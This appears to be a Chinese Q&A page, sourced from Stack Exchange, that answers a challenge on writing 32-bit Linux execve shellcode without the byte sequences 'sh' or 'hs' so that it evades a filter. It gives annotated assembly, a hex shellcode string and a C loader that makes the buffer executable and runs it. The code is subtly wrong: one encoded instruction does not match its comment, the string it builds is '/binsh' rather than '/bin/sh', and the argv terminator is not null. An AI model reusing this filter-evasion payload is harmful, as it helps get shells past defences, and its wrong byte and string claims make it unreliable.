网络安全挑战需求:不含"sh"/"hs"序列的Shellcode获取Shell
绕过"sh"/"hs"序列检测的Shellcode构造方案
问题根源
你提供的常规Shellcode中,\x68\x2f\x2f\x73\x68对应的ASCII字符串是//sh,直接包含了被检测的sh序列,导致被拦截。解决核心是不在Shellcode的字节流中直接出现sh或hs序列,而是通过动态构造的方式生成目标字符串。
可行方案:寄存器动态构造字符串
通过寄存器运算、内存修改,在运行时拼接出/bin/sh字符串,避免静态字节序列触发检测。
示例Shellcode(32位Linux)
xor eax, eax ; 清零eax寄存器 push eax ; 压入NULL字符,作为字符串终止符 mov al, 0x73 ; 将's'(ASCII 0x73)载入al push eax ; 压入's'到栈中 mov al, 0x68 ; 将'h'(ASCII 0x68)载入al mov [esp+1], al ; 将'h'写入栈中's'的下一个位置,栈中形成"sh\x00" push 0x6e69622f ; 压入"/bin"(小端序,对应ASCII /bin) mov ebx, esp ; ebx指向栈中拼接好的"/bin/sh\x00" push eax ; 压入NULL(作为argv数组的终止符) push ebx ; 压入路径地址到栈中,构造argv数组 mov ecx, esp ; ecx指向argv数组 xor edx, edx ; 清零edx(envp参数设为NULL) mov al, 0x0b ; 设置execve系统调用号(0x0b) int 0x80 ; 触发系统调用,获取shell
对应的十六进制Shellcode:
\x31\xc0\x50\xb0\x73\x50\xb0\x68\x88\x4c\x24\x01\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
为什么能绕过检测?
这个Shellcode的字节流中,0x73('s')和0x68('h')是单独出现的,没有连续的0x7368(sh)或0x6873(hs)序列。只有在运行时,通过mov [esp+1], al指令才会在内存中拼接出sh字符串,避开了静态检测。
验证与测试
- 将上述nasm代码保存为
shellcode.asm,编译为二进制:nasm -f elf32 shellcode.asm -o shellcode.o objcopy -O binary shellcode.o shellcode.bin xxd -p shellcode.bin # 查看十六进制字节流 - 用C程序加载Shellcode测试:
编译运行(32位环境):#include <stdio.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> int main() { char shellcode[] = "\x31\xc0\x50\xb0\x73\x50\xb0\x68\x88\x4c\x24\x01\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; void (*sc)() = (void*)shellcode; mprotect(shellcode, sizeof(shellcode), PROT_EXEC | PROT_READ | PROT_WRITE); sc(); return 0; }gcc -m32 test.c -o test ./test
内容的提问来源于stack exchange,提问作者Exekr
相关产品推荐
相关产品推荐

